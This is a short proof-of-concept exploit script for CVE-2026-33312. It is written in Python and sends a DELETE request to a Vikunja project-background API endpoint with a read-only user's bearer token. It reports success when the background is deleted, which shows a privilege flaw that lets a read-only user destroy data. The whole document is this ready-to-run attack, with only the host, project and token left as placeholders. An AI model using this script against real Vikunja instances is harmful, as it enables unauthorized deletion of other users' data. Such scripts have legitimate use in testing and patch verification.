CVE-2026-33312

import requests # Target URL (Replace with actual target) target_url = "http://<vikunja-host>/api/v1/projects/<project_id>/background" # Headers with Authorization token (Read-only user token) headers = { "Authorization": "Bearer <READ_ONLY_USER_TOKEN>", "Content-Type": "application/json" } try: # Send DELETE request to exploit the vulnerability response = requests.delete(target_url, headers=headers) if response.status_code == 200: print("[+] Success: Project background deleted successfully.") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

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